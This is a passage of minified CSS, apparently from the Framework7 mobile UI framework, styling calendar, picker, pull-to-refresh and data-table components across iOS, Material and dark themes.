66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.15) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .calendar .toolbar a.link .ripple-wave{background:rgba(0,0,0,.1)}.md .calendar .toolbar .icon-back,.md .calendar .toolbar .icon-forward,.md .calendar .toolbar .icon-next,.md .calendar .toolbar .icon-prev{opacity:.54}.md .calendar-week-header{color:rgba(0,0,0,.54);height:24px}.md .calendar-week-header .calendar-week-day{line-height:24px}.md .calendar-day.calendar-day-today span{color:#2196f3}.md .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after{background-color:#fff}.md .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .calendar-day span{width:36px;height:36px;line-height:36px}.md .calendar-range .calendar-day.calendar-day-selected span{color:#fff}.md .calendar-month-selector a.icon-only,.md .calendar-year-selector a.icon-only{min-width:36px}.md .calendar-sheet:before{content:'';position:absolute;background-color:#ccc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .calendar-sheet:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .calendar-sheet:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-iphone-x .calendar-sheet .sheet-modal-inner{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .ios-left-edge.calendar .calendar-row,.md.device-iphone-x .ios-left-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .panel-left.calendar .calendar-row,.md.device-iphone-x .panel-left.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-edges.calendar .calendar-row,.md.device-iphone-x .ios-edges.calendar .calendar-week-header,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .ios-right-edge .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .ios-right-edge.calendar .calendar-row,.md.device-iphone-x .ios-right-edge.calendar .calendar-week-header,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .panel-right .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .panel-right.calendar .calendar-row,.md.device-iphone-x .panel-right.calendar .calendar-week-header,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .popup.calendar .calendar-row,.md.device-iphone-x .popup.calendar .calendar-week-header,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-row,.md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-right-edge) .calendar-week-header,.md.device-iphone-x .sheet-modal.calendar .calendar-row,.md.device-iphone-x .sheet-modal.calendar .calendar-week-header{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}}.md .theme-dark .calendar-popover .calendar-week-header{background-color:transparent}.md .theme-dark .calendar-week-header{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day{color:rgba(255,255,255,.87)}.md .theme-dark .calendar-day.calendar-day-disabled{color:rgba(255,255,255,.54)}.md .theme-dark .calendar-day.calendar-day-next,.md .theme-dark .calendar-day.calendar-day-prev{color:rgba(255,255,255,.35)}.calendar-modal.md .theme-dark,.md .theme-dark .calendar-modal{background:#202020}.calendar.md .theme-dark.calendar-sheet:before,.md .theme-dark .calendar.calendar-sheet:before{background-color:rgba(255,255,255,.2)}.calendar.md .theme-dark .toolbar,.md .theme-dark .calendar .toolbar{color:rgba(255,255,255,.54)}.calendar.md .theme-dark .toolbar a.link:before,.md .theme-dark .calendar .toolbar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.calendar.md .theme-dark .toolbar a.link.active-state:before,.md .theme-dark .calendar .toolbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.calendar.md .theme-dark .toolbar a.link .ripple-wave,.md .theme-dark .calendar .toolbar a.link .ripple-wave{background-color:rgba(255,255,255,.3)}.md .color-red .calendar-header,.md .color-theme-red .calendar-header{background:#f44336}.md .color-red .calendar-day.calendar-day-today span,.md .color-theme-red .calendar-day.calendar-day-today span{color:#f44336}.md .color-red .calendar-day.calendar-day-has-events span:after,.md .color-theme-red .calendar-day.calendar-day-has-events span:after{background:#f44336}.md .color-red .calendar-day.calendar-day-selected span,.md .color-theme-red .calendar-day.calendar-day-selected span{background:#f44336;color:#fff}.md .color-red .calendar-day.calendar-day-selected span:after,.md .color-theme-red .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-green .calendar-header,.md .color-theme-green .calendar-header{background:#4caf50}.md .color-green .calendar-day.calendar-day-today span,.md .color-theme-green .calendar-day.calendar-day-today span{color:#4caf50}.md .color-green .calendar-day.calendar-day-has-events span:after,.md .color-theme-green .calendar-day.calendar-day-has-events span:after{background:#4caf50}.md .color-green .calendar-day.calendar-day-selected span,.md .color-theme-green .calendar-day.calendar-day-selected span{background:#4caf50;color:#fff}.md .color-green .calendar-day.calendar-day-selected span:after,.md .color-theme-green .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-blue .calendar-header,.md .color-theme-blue .calendar-header{background:#2196f3}.md .color-blue .calendar-day.calendar-day-today span,.md .color-theme-blue .calendar-day.calendar-day-today span{color:#2196f3}.md .color-blue .calendar-day.calendar-day-has-events span:after,.md .color-theme-blue .calendar-day.calendar-day-has-events span:after{background:#2196f3}.md .color-blue .calendar-day.calendar-day-selected span,.md .color-theme-blue .calendar-day.calendar-day-selected span{background:#2196f3;color:#fff}.md .color-blue .calendar-day.calendar-day-selected span:after,.md .color-theme-blue .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-pink .calendar-header,.md .color-theme-pink .calendar-header{background:#e91e63}.md .color-pink .calendar-day.calendar-day-today span,.md .color-theme-pink .calendar-day.calendar-day-today span{color:#e91e63}.md .color-pink .calendar-day.calendar-day-has-events span:after,.md .color-theme-pink .calendar-day.calendar-day-has-events span:after{background:#e91e63}.md .color-pink .calendar-day.calendar-day-selected span,.md .color-theme-pink .calendar-day.calendar-day-selected span{background:#e91e63;color:#fff}.md .color-pink .calendar-day.calendar-day-selected span:after,.md .color-theme-pink .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-yellow .calendar-header,.md .color-yellow .calendar-header{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-today span,.md .color-yellow .calendar-day.calendar-day-today span{color:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-has-events span:after,.md .color-yellow .calendar-day.calendar-day-has-events span:after{background:#ffeb3b}.md .color-theme-yellow .calendar-day.calendar-day-selected span,.md .color-yellow .calendar-day.calendar-day-selected span{background:#ffeb3b;color:#fff}.md .color-theme-yellow .calendar-day.calendar-day-selected span:after,.md .color-yellow .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-orange .calendar-header,.md .color-theme-orange .calendar-header{background:#ff9800}.md .color-orange .calendar-day.calendar-day-today span,.md .color-theme-orange .calendar-day.calendar-day-today span{color:#ff9800}.md .color-orange .calendar-day.calendar-day-has-events span:after,.md .color-theme-orange .calendar-day.calendar-day-has-events span:after{background:#ff9800}.md .color-orange .calendar-day.calendar-day-selected span,.md .color-theme-orange .calendar-day.calendar-day-selected span{background:#ff9800;color:#fff}.md .color-orange .calendar-day.calendar-day-selected span:after,.md .color-theme-orange .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-gray .calendar-header,.md .color-theme-gray .calendar-header{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-today span,.md .color-theme-gray .calendar-day.calendar-day-today span{color:#9e9e9e}.md .color-gray .calendar-day.calendar-day-has-events span:after,.md .color-theme-gray .calendar-day.calendar-day-has-events span:after{background:#9e9e9e}.md .color-gray .calendar-day.calendar-day-selected span,.md .color-theme-gray .calendar-day.calendar-day-selected span{background:#9e9e9e;color:#fff}.md .color-gray .calendar-day.calendar-day-selected span:after,.md .color-theme-gray .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-theme-white .calendar-header,.md .color-white .calendar-header{background:#fff}.md .color-theme-white .calendar-day.calendar-day-today span,.md .color-white .calendar-day.calendar-day-today span{color:#fff}.md .color-theme-white .calendar-day.calendar-day-has-events span:after,.md .color-white .calendar-day.calendar-day-has-events span:after{background:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span,.md .color-white .calendar-day.calendar-day-selected span{background:#fff;color:#fff}.md .color-theme-white .calendar-day.calendar-day-selected span:after,.md .color-white .calendar-day.calendar-day-selected span:after{background-color:#fff}.md .color-black .calendar-header,.md .color-theme-black .calendar-header{background:#000}.md .color-black .calendar-day.calendar-day-today span,.md .color-theme-black .calendar-day.calendar-day-today span{color:#000}.md .color-black .calendar-day.calendar-day-has-events span:after,.md .color-theme-black .calendar-day.calendar-day-has-events span:after{background:#000}.md .color-black .calendar-day.calendar-day-selected span,.md .color-theme-black .calendar-day.calendar-day-selected span{background:#000;color:#fff}.md .color-black .calendar-day.calendar-day-selected span:after,.md .color-theme-black .calendar-day.calendar-day-selected span:after{background-color:#fff}.picker{width:100%;height:260px}.picker.picker-inline,.popover .picker{height:200px}@media (orientation:landscape) and (max-height:415px){.picker:not(.picker-inline){height:200px}}.picker-popover{width:280px}.picker-columns{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0;text-align:right;height:100%;position:relative;-webkit-mask-box-image:linear-gradient(to top,transparent,transparent 5%,#fff 20%,#fff 80%,transparent 95%,transparent)}.picker-column{position:relative;max-height:100%}.picker-column.picker-column-first:before,.picker-column.picker-column-last:after{height:100%;width:100vw;position:absolute;content:'';top:0}.picker-column.picker-column-first:before{right:100%}.picker-column.picker-column-last:after{left:100%}.picker-column.picker-column-left{text-align:left}.picker-column.picker-column-center{text-align:center}.picker-column.picker-column-right{text-align:right}.picker-column.picker-column-divider{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.picker-items{-webkit-transition:.3s;transition:.3s;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.picker-item{height:36px;line-height:36px;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;left:0;top:0;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s}.picker-item span{padding:0 10px}.picker-column-absolute .picker-item{position:absolute}.picker-item.picker-item-far{pointer-events:none}.picker-item.picker-item-selected{-webkit-transform:translate3d(0,0,0) rotateX(0);transform:translate3d(0,0,0) rotateX(0)}.picker-center-highlight{height:36px;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;width:100%;top:50%;margin-top:-18px;pointer-events:none}.picker-3d .picker-columns{overflow:hidden;-webkit-perspective:1200px;perspective:1200px}.picker-3d .picker-column,.picker-3d .picker-item,.picker-3d .picker-items{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.picker-3d .picker-column{overflow:visible}.picker-3d .picker-item{-webkit-transform-origin:center center -110px;transform-origin:center center -110px;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.ios .picker-columns{font-size:24px}.ios .picker-column-divider{color:#000}.ios .picker-item{color:#707274}.ios .picker-item.picker-item-selected{color:#000}.ios .picker-popover .toolbar{background:0 0}.ios .picker-popover .toolbar:before{display:none!important}.ios .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 44px)}.ios .picker-popover .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-popover .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-popover .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:before{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .picker-center-highlight:after{content:'';position:absolute;background-color:#a8abb0;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .picker-item.picker-item-selected{color:#fff}.ios .theme-dark .picker-popover .toolbar:after,.picker-popover.ios .theme-dark .toolbar:after{background-color:#282829}.ios .theme-dark .picker-center-highlight:before{background-color:#282829}.ios .theme-dark .picker-center-highlight:after{background-color:#282829}.md .picker-popover .toolbar{border-radius:2px 2px 0 0}.md .picker-columns{font-size:20px}.md .picker-column-divider{color:rgba(0,0,0,.87)}.md .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 48px)}.md .picker-center-highlight:before{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .picker-center-highlight:after{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .picker-column-divider{color:rgba(255,255,255,.87)}.md .theme-dark .picker-center-highlight:before{background-color:rgba(255,255,255,.15)}.md .theme-dark .picker-center-highlight:after{background-color:rgba(255,255,255,.15)}.infinite-scroll-preloader{margin-left:auto;margin-right:auto;text-align:center}.infinite-scroll-preloader.preloader{display:block}.ios .infinite-scroll-preloader{margin-top:35px;margin-bottom:35px}.ios .infinite-scroll-preloader .preloader,.ios .infinite-scroll-preloader.preloader{width:27px;height:27px}.md .infinite-scroll-preloader{margin-top:32px;margin-bottom:32px}.ptr-preloader .preloader{position:absolute;left:50%}.ios .ptr-preloader{position:relative;height:44px;margin-top:-44px;width:100%;left:0;top:0}.ios .ptr-preloader .preloader{width:27px;height:27px;margin-left:-13px;margin-top:-13px;visibility:hidden;top:50%}.ios .ptr-arrow{position:absolute;left:50%;top:50%;background:no-repeat center;z-index:10;-webkit-transform:rotate(0) translate3d(0,0,0);transform:rotate(0) translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;width:13px;height:20px;margin-left:-6px;margin-top:-10px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2026%2040'%3E%3Cpolygon%20points%3D'9%2C22%209%2C0%2017%2C0%2017%2C22%2026%2C22%2013.5%2C40%200%2C22'%20fill%3D'%238c8c8c'%2F%3E%3C%2Fsvg%3E");background-size:13px 20px;visibility:visible}.ios .ptr-content:not(.ptr-refreshing) .ptr-preloader .preloader{-webkit-animation:none;animation:none}.ios .ptr-refreshing,.ios .ptr-transitioning{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.ios .ptr-refreshing{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .ptr-refreshing .ptr-arrow{visibility:hidden}.ios .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.ios .ptr-pull-up .ptr-arrow{-webkit-transform:rotate(180deg) translate3d(0,0,0);transform:rotate(180deg) translate3d(0,0,0)}.ios .ptr-no-navbar{margin-top:-44px;height:calc(100% + 44px)}.ios .ptr-no-navbar .ptr-preloader{margin-top:0}.md .ptr-preloader{position:absolute;left:50%;top:16px;width:40px;height:40px;border-radius:50%;background:#fff;margin-left:-20px;margin-top:-7px;z-index:100;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}@media (min-width:768px){.md .ptr-preloader{top:24px}}.md .ptr-preloader .preloader{width:22px;height:22px;margin-left:-11px;margin-top:-11px;top:50%;visibility:hidden}.md .ptr-preloader .preloader .preloader-inner-gap,.md .ptr-preloader .preloader .preloader-inner-half-circle{border-width:3px}.md .ptr-arrow{width:22px;height:22px;-webkit-box-sizing:border-box;box-sizing:border-box;border:3px solid #757575;position:absolute;left:50%;top:50%;margin-left:-11px;margin-top:-11px;border-left-color:transparent;border-radius:50%;opacity:1;-webkit-transform:rotate(150deg);transform:rotate(150deg)}.md .ptr-arrow:after{content:'';width:0;height:0;position:absolute;left:-5px;bottom:0;border-bottom-width:6px;border-bottom-style:solid;border-bottom-color:inherit;border-left:5px solid transparent;border-right:5px solid transparent;-webkit-transform:rotate(-40deg);transform:rotate(-40deg)}.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader,.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader *{-webkit-animation:none;animation:none}.md .ptr-pull-up .ptr-preloader .preloader,.md .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.md .ptr-pull-up .ptr-arrow,.md .ptr-refreshing .ptr-arrow{visibility:hidden}.md .ptr-refreshing .ptr-preloader{-webkit-transform:translate3d(0,66px,0);transform:translate3d(0,66px,0)}.md .ptr-transitioning .ptr-arrow{-webkit-transition:.3s;transition:.3s}.md .ptr-pull-up .ptr-arrow{-webkit-transition:.4s;transition:.4s;-webkit-transform:rotate(620deg)!important;transform:rotate(620deg)!important;opacity:0}.md .ptr-refreshing .ptr-preloader,.md .ptr-transitioning .ptr-preloader{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.md .ptr-no-navbar .ptr-preloader{top:auto;bottom:100%;margin-bottom:7px}.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:64px}@media (min-width:768px){.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:72px}}.lazy-loaded.lazy-fade-in{-webkit-animation:lazyFadeIn .6s;animation:lazyFadeIn .6s}@-webkit-keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}@keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}.data-table{overflow-x:auto}.data-table table{width:100%;border:none;padding:0;margin:0;border-collapse:collapse;text-align:left}.data-table thead{font-size:12px}.data-table thead td,.data-table thead th{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:16px}.data-table thead i.f7-icons,.data-table thead i.icon,.data-table thead i.material-icons{vertical-align:top}.data-table td,.data-table th{padding:0;position:relative}.data-table td.numeric-cell,.data-table th.numeric-cell{text-align:right}.data-table td.checkbox-cell,.data-table th.checkbox-cell{overflow:visible}.data-table td.checkbox-cell label+span,.data-table th.checkbox-cell label+span{margin-left:8px}.data-table td.actions-cell,.data-table th.actions-cell{text-align:right;white-space:nowrap}.card .data-table td a.icon-only,.card .data-table th a.icon-only,.card.data-table td a.icon-only,.card.data-table th a.icon-only,.data-table td a.icon-only,.data-table th a.icon-only{display:inline-block;vertical-align:middle;text-align:center;font-size:0;min-width:0}.card .data-table td a.icon-only i,.card .data-table th a.icon-only i,.card.data-table td a.icon-only i,.card.data-table th a.icon-only i,.data-table td a.icon-only i,.data-table th a.icon-only i{font-size:18px;vertical-align:middle}.data-table .sortable-cell:not(.input-cell){cursor:pointer;position:relative}.data-table .sortable-cell.input-cell .table-head-label{cursor:pointer;position:relative}.data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.data-table .sortable-cell.numeric-cell:not(.input-cell):before,.data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{content:'';display:inline-block;vertical-align:top;width:16px;height:16px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E");background-size:100% auto;background-position:center;background-repeat:no-repeat;font-size:0;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:rotate(0);transform:rotate(0);opacity:0}html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before{opacity:.54}.data-table .sortable-cell.sortable-cell-active .table-head-label:after,.data-table .sortable-cell.sortable-cell-active .table-head-label:before,.data-table .sortable-cell.sortable-cell-active:after,.data-table .sortable-cell.sortable-cell-active:before{opacity:.87!important}.data-table .sortable-cell.sortable-desc:after,.data-table .sortable-cell.sortable-desc:before,.data-table .table-head-label:after,.data-table .table-head-label:before{-webkit-transform:rotate(180deg)!important;transform:rotate(180deg)!important}.card .data-table .card-header,.data-table.card .card-header{height:64px}.card .data-table .card-content,.data-table.card .card-content{overflow-x:auto}.data-table .data-table-actions,.data-table .data-table-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-actions{margin-left:auto;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.data-table .data-table-actions a.link{min-width:0}.data-table .data-table-actions a.link.icon-only{line-height:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0}.data-table .data-table-header,.data-table .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%}.data-table .data-table-header-selected{display:none}.data-table.data-table-has-checked .data-table-header{display:none}.data-table.data-table-has-checked .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-title-selected{font-size:14px}.data-table .data-table-footer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:12px;overflow:hidden;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.data-table .data-table-pagination,.data-table .data-table-rows-select{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}@media (max-width:480px) and (orientation:portrait){.data-table.data-table-collapsible thead{display:none}.data-table.data-table-collapsible tbody,.data-table.data-table-collapsible td,.data-table.data-table-collapsible tr{display:block}.data-table.data-table-collapsible tr{position:relative}.data-table.data-table-collapsible tr:hover{background-color:inherit}.data-table.data-table-collapsible td{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;text-align:left}.data-table.data-table-collapsible td:before{display:none!important}.data-table.data-table-collapsible td:not(.checkbox-cell):before{width:40%;display:block!important;content:attr(data-collapsible-title);position:relative;height:auto;background:0 0!important;-webkit-transform:none!important;transform:none!important;font-size:12px;margin-right:16px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.data-table.data-table-collapsible td.checkbox-cell{position:absolute;top:0;left:0}.data-table.data-table-collapsible td.checkbox-cell+td{padding-left:16px}.data-table.data-table-collapsible td.checkbox-cell~td{margin-left:32px}}.data-table .tablet-landscape-only,.data-table .tablet-only{display:none}@media (min-width:768px){.data-table .tablet-only{display:table-cell}}@media (min-width:768px) and (orientation:landscape){.data-table .tablet-landscape-only{display:table-cell}}.theme-dark .data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before,.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E")}.ios .data-table thead td,.ios .data-table thead th{font-weight:600}.ios .data-table thead td:not(.sortable-cell-active),.ios .data-table thead th:not(.sortable-cell-active){color:#8e8e93}.ios .data-table thead i.f7-icons,.ios .data-table thead i.icon{font-size:18px;width:18px;height:18px}.ios .data-table tbody tr.data-table-row-selected{background:#f7f7f8}.ios .data-table td,.ios .data-table th{padding-left:15px;padding-right:15px;height:44px}.ios .data-table td.checkbox-cell,.ios .data-table th.checkbox-cell{width:22px;padding-right:7px}.ios .data-table td.checkbox-cell+td,.ios .data-table td.checkbox-cell+th,.ios .data-table th.checkbox-cell+td,.ios .data-table th.checkbox-cell+th{padding-left:8px}.ios .data-table td.actions-cell a.link+a.link,.ios .data-table th.actions-cell a.link+a.link{margin-left:15px}.ios .data-table td.actions-cell 